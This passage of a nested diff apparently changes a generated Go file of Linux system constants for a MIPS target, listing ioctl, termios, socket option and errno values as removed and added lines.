-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
-- TCP_S_DATA_OUT = 0x8
-- TCP_THIN_DUPACK = 0x11
-- TCP_THIN_LINEAR_TIMEOUTS = 0x10
-- TCP_TIMESTAMP = 0x18
-- TCP_USER_TIMEOUT = 0x12
-- TCP_WINDOW_CLAMP = 0xa
-- TCSAFLUSH = 0x5410
-- TCSBRK = 0x5405
-- TCSBRKP = 0x5486
-- TCSETA = 0x5402
-- TCSETAF = 0x5404
-- TCSETAW = 0x5403
-- TCSETS = 0x540e
-- TCSETS2 = 0x8030542b
-- TCSETSF = 0x5410
-- TCSETSF2 = 0x8030542d
-- TCSETSW = 0x540f
-- TCSETSW2 = 0x8030542c
-- TCXONC = 0x5406
-- TIOCCBRK = 0x5428
-- TIOCCONS = 0x80047478
-- TIOCEXCL = 0x740d
-- TIOCGDEV = 0x40045432
-- TIOCGETD = 0x7400
-- TIOCGETP = 0x7408
-- TIOCGEXCL = 0x40045440
-- TIOCGICOUNT = 0x5492
-- TIOCGLCKTRMIOS = 0x548b
-- TIOCGLTC = 0x7474
-- TIOCGPGRP = 0x40047477
-- TIOCGPKT = 0x40045438
-- TIOCGPTLCK = 0x40045439
-- TIOCGPTN = 0x40045430
-- TIOCGRS485 = 0x4020542e
-- TIOCGSERIAL = 0x5484
-- TIOCGSID = 0x7416
-- TIOCGSOFTCAR = 0x5481
-- TIOCGWINSZ = 0x40087468
-- TIOCINQ = 0x467f
-- TIOCLINUX = 0x5483
-- TIOCMBIC = 0x741c
-- TIOCMBIS = 0x741b
-- TIOCMGET = 0x741d
-- TIOCMIWAIT = 0x5491
-- TIOCMSET = 0x741a
-- TIOCM_CAR = 0x100
-- TIOCM_CD = 0x100
-- TIOCM_CTS = 0x40
-- TIOCM_DSR = 0x400
-- TIOCM_DTR = 0x2
-- TIOCM_LE = 0x1
-- TIOCM_RI = 0x200
-- TIOCM_RNG = 0x200
-- TIOCM_RTS = 0x4
-- TIOCM_SR = 0x20
-- TIOCM_ST = 0x10
-- TIOCNOTTY = 0x5471
-- TIOCNXCL = 0x740e
-- TIOCOUTQ = 0x7472
-- TIOCPKT = 0x5470
-- TIOCPKT_DATA = 0x0
-- TIOCPKT_DOSTOP = 0x20
-- TIOCPKT_FLUSHREAD = 0x1
-- TIOCPKT_FLUSHWRITE = 0x2
-- TIOCPKT_IOCTL = 0x40
-- TIOCPKT_NOSTOP = 0x10
-- TIOCPKT_START = 0x8
-- TIOCPKT_STOP = 0x4
-- TIOCSBRK = 0x5427
-- TIOCSCTTY = 0x5480
-- TIOCSERCONFIG = 0x5488
-- TIOCSERGETLSR = 0x548e
-- TIOCSERGETMULTI = 0x548f
-- TIOCSERGSTRUCT = 0x548d
-- TIOCSERGWILD = 0x5489
-- TIOCSERSETMULTI = 0x5490
-- TIOCSERSWILD = 0x548a
-- TIOCSER_TEMT = 0x1
-- TIOCSETD = 0x7401
-- TIOCSETN = 0x740a
-- TIOCSETP = 0x7409
-- TIOCSIG = 0x80045436
-- TIOCSLCKTRMIOS = 0x548c
-- TIOCSLTC = 0x7475
-- TIOCSPGRP = 0x80047476
-- TIOCSPTLCK = 0x80045431
-- TIOCSRS485 = 0xc020542f
-- TIOCSSERIAL = 0x5485
-- TIOCSSOFTCAR = 0x5482
-- TIOCSTI = 0x5472
-- TIOCSWINSZ = 0x80087467
-- TIOCVHANGUP = 0x5437
-- TOSTOP = 0x8000
-- TS_COMM_LEN = 0x20
-- TUNATTACHFILTER = 0x800854d5
-- TUNDETACHFILTER = 0x800854d6
-- TUNGETFEATURES = 0x400454cf
-- TUNGETFILTER = 0x400854db
-- TUNGETIFF = 0x400454d2
-- TUNGETSNDBUF = 0x400454d3
-- TUNGETVNETBE = 0x400454df
-- TUNGETVNETHDRSZ = 0x400454d7
-- TUNGETVNETLE = 0x400454dd
-- TUNSETDEBUG = 0x800454c9
-- TUNSETGROUP = 0x800454ce
-- TUNSETIFF = 0x800454ca
-- TUNSETIFINDEX = 0x800454da
-- TUNSETLINK = 0x800454cd
-- TUNSETNOCSUM = 0x800454c8
-- TUNSETOFFLOAD = 0x800454d0
-- TUNSETOWNER = 0x800454cc
-- TUNSETPERSIST = 0x800454cb
-- TUNSETQUEUE = 0x800454d9
-- TUNSETSNDBUF = 0x800454d4
-- TUNSETTXFILTER = 0x800454d1
-- TUNSETVNETBE = 0x800454de
-- TUNSETVNETHDRSZ = 0x800454d8
-- TUNSETVNETLE = 0x800454dc
-- UMOUNT_NOFOLLOW = 0x8
-- VDISCARD = 0xd
-- VEOF = 0x10
-- VEOL = 0x11
-- VEOL2 = 0x6
-- VERASE = 0x2
-- VINTR = 0x0
-- VKILL = 0x3
-- VLNEXT = 0xf
-- VMADDR_CID_ANY = 0xffffffff
-- VMADDR_CID_HOST = 0x2
-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x4
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xc
-- VSTART = 0x8
-- VSTOP = 0x9
-- VSUSP = 0xa
-- VSWTC = 0x7
-- VSWTCH = 0x7
-- VT0 = 0x0
-- VT1 = 0x4000
-- VTDLY = 0x4000
-- VTIME = 0x5
-- VWERASE = 0xe
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x20
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4
-- XTABS = 0x1800
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x40041270
-+ BLKBSZSET = 0x80041271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40041272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x80
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x2000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40046601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0x21
-+ F_GETLK64 = 0x21
-+ F_GETOWN = 0x17
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x22
-+ F_SETLK64 = 0x22
-+ F_SETLKW = 0x23
-+ F_SETLKW64 = 0x23
-+ F_SETOWN = 0x18
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x100
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x80
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x800
-+ MAP_ANONYMOUS = 0x800
-+ MAP_DENYWRITE = 0x2000
-+ MAP_EXECUTABLE = 0x4000
-+ MAP_GROWSDOWN = 0x1000
-+ MAP_HUGETLB = 0x80000
-+ MAP_LOCKED = 0x8000
-+ MAP_NONBLOCK = 0x20000
-+ MAP_NORESERVE = 0x400
-+ MAP_POPULATE = 0x10000
-+ MAP_RENAME = 0x800
-+ MAP_STACK = 0x40000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x20
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x8
-+ O_ASYNC = 0x1000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x100
-+ O_DIRECT = 0x8000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x10
-+ O_EXCL = 0x400
-+ O_FSYNC = 0x4010
-+ O_LARGEFILE = 0x2000
-+ O_NDELAY = 0x80
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x800
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x80
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x4010
-+ O_SYNC = 0x4010
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40042407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8004240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc004240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80042406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4008743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80087446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x800c744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80087447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PR_SET_PTRACER_ANY = 0xffffffff
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GET_THREAD_AREA = 0x19
-+ PTRACE_GET_THREAD_AREA_3264 = 0xc4
-+ PTRACE_GET_WATCH_REGS = 0xd0
-+ PTRACE_OLDSETOPTIONS = 0x15
-+ PTRACE_PEEKDATA_3264 = 0xc1
-+ PTRACE_PEEKTEXT_3264 = 0xc0
-+ PTRACE_POKEDATA_3264 = 0xc3
-+ PTRACE_POKETEXT_3264 = 0xc2
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SET_THREAD_AREA = 0x1a
-+ PTRACE_SET_WATCH_REGS = 0xd1
-+ RLIMIT_AS = 0x6
-+ RLIMIT_MEMLOCK = 0x9
-+ RLIMIT_NOFILE = 0x5
-+ RLIMIT_NPROC = 0x8
-+ RLIMIT_RSS = 0x7
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4004700d
-+ RTC_EPOCH_SET = 0x8004700e
-+ RTC_IRQP_READ = 0x4004700b
-+ RTC_IRQP_SET = 0x8004700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x401c7011
-+ RTC_PLL_SET = 0x801c7012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x80
-+ SIOCATMARK = 0x40047307
-+ SIOCGPGRP = 0x40047309
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x467f
-+ SIOCOUTQ = 0x7472
-+ SIOCSPGRP = 0x80047308
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x1
-+ SOCK_NONBLOCK = 0x80
-+ SOCK_STREAM = 0x2
-+ SOL_SOCKET = 0xffff
-+ SO_ACCEPTCONN = 0x1009
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x20
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x1029
-+ SO_DONTROUTE = 0x10
-+ SO_ERROR = 0x1007
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x8
-+ SO_LINGER = 0x80
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0x100
-+ SO_PASSCRED = 0x11
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x12
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1e
-+ SO_PROTOCOL = 0x1028
-+ SO_RCVBUF = 0x1002
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x1004
-+ SO_RCVTIMEO = 0x1006
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x1006
-+ SO_REUSEADDR = 0x4
-+ SO_REUSEPORT = 0x200
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x1001
-+ SO_SNDBUFFORCE = 0x1f
-+ SO_SNDLOWAT = 0x1003
-+ SO_SNDTIMEO = 0x1005
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x1005
-+ SO_STYLE = 0x1008
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x1008
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x5407
-+ TCGETA = 0x5401
-+ TCGETS = 0x540d
-+ TCGETS2 = 0x4030542a
-+ TCSAFLUSH = 0x5410
-+ TCSBRK = 0x5405
-+ TCSBRKP = 0x5486
-+ TCSETA = 0x5402
-+ TCSETAF = 0x5404
-+ TCSETAW = 0x5403
-+ TCSETS = 0x540e
-+ TCSETS2 = 0x8030542b
-+ TCSETSF = 0x5410
-+ TCSETSF2 = 0x8030542d
-+ TCSETSW = 0x540f
-+ TCSETSW2 = 0x8030542c
-+ TCXONC = 0x5406
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x80047478
-+ TIOCEXCL = 0x740d
-+ TIOCGDEV = 0x40045432
-+ TIOCGETD = 0x7400
-+ TIOCGETP = 0x7408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x5492
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x548b
-+ TIOCGLTC = 0x7474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x4020542e
-+ TIOCGSERIAL = 0x5484
-+ TIOCGSID = 0x7416
-+ TIOCGSOFTCAR = 0x5481
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x467f
-+ TIOCLINUX = 0x5483
-+ TIOCMBIC = 0x741c
-+ TIOCMBIS = 0x741b
-+ TIOCMGET = 0x741d
-+ TIOCMIWAIT = 0x5491
-+ TIOCMSET = 0x741a
-+ TIOCM_CAR = 0x100
-+ TIOCM_CD = 0x100
-+ TIOCM_CTS = 0x40
-+ TIOCM_DSR = 0x400
-+ TIOCM_RI = 0x200
-+ TIOCM_RNG = 0x200
-+ TIOCM_SR = 0x20
-+ TIOCM_ST = 0x10
-+ TIOCNOTTY = 0x5471
-+ TIOCNXCL = 0x740e
-+ TIOCOUTQ = 0x7472
-+ TIOCPKT = 0x5470
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x5480
-+ TIOCSERCONFIG = 0x5488
-+ TIOCSERGETLSR = 0x548e
-+ TIOCSERGETMULTI = 0x548f
-+ TIOCSERGSTRUCT = 0x548d
-+ TIOCSERGWILD = 0x5489
-+ TIOCSERSETMULTI = 0x5490
-+ TIOCSERSWILD = 0x548a
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x7401
-+ TIOCSETN = 0x740a
-+ TIOCSETP = 0x7409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x548c
-+ TIOCSLTC = 0x7475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0xc020542f
-+ TIOCSSERIAL = 0x5485
-+ TIOCSSOFTCAR = 0x5482
-+ TIOCSTI = 0x5472
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x8000
-+ TUNATTACHFILTER = 0x800854d5
-+ TUNDETACHFILTER = 0x800854d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x400854db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x10
-+ VEOL = 0x11
-+ VEOL2 = 0x6
-+ VMIN = 0x4
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VSWTCH = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x20
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x7d)
- EADDRNOTAVAIL = syscall.Errno(0x7e)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x7c)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x95)
- EBADE = syscall.Errno(0x32)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x51)
- EBADMSG = syscall.Errno(0x4d)
- EBADR = syscall.Errno(0x33)
- EBADRQC = syscall.Errno(0x36)
- EBADSLT = syscall.Errno(0x37)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x9e)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x25)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x82)
-@@ -1886,12 +502,8 @@ const (
- EDEADLK = syscall.Errno(0x2d)
- EDEADLOCK = syscall.Errno(0x38)
- EDESTADDRREQ = syscall.Errno(0x60)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x46d)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x93)
- EHOSTUNREACH = syscall.Errno(0x94)
- EHWPOISON = syscall.Errno(0xa8)
-@@ -1899,11 +511,7 @@ const (
- EILSEQ = syscall.Errno(0x58)
- EINIT = syscall.Errno(0x8d)
- EINPROGRESS = syscall.Errno(0x96)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x85)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x8b)
- EKEYEXPIRED = syscall.Errno(0xa2)
- EKEYREJECTED = syscall.Errno(0xa4)
-@@ -1920,8 +528,6 @@ const (
- ELNRNG = syscall.Errno(0x29)
- ELOOP = syscall.Errno(0x5a)
- EMEDIUMTYPE = syscall.Errno(0xa0)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x61)
- EMULTIHOP = syscall.Errno(0x4a)
- ENAMETOOLONG = syscall.Errno(0x4e)
-@@ -1929,100 +535,68 @@ const (
- ENETDOWN = syscall.Errno(0x7f)
- ENETRESET = syscall.Errno(0x81)
- ENETUNREACH = syscall.Errno(0x80)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x35)
- ENOBUFS = syscall.Errno(0x84)
- ENOCSI = syscall.Errno(0x2b)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0xa1)
- ENOLCK = syscall.Errno(0x2e)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x9f)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x23)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x63)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x59)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x86)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x5d)
- ENOTNAM = syscall.Errno(0x89)
- ENOTRECOVERABLE = syscall.Errno(0xa6)
- ENOTSOCK = syscall.Errno(0x5f)
- ENOTSUP = syscall.Errno(0x7a)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x50)
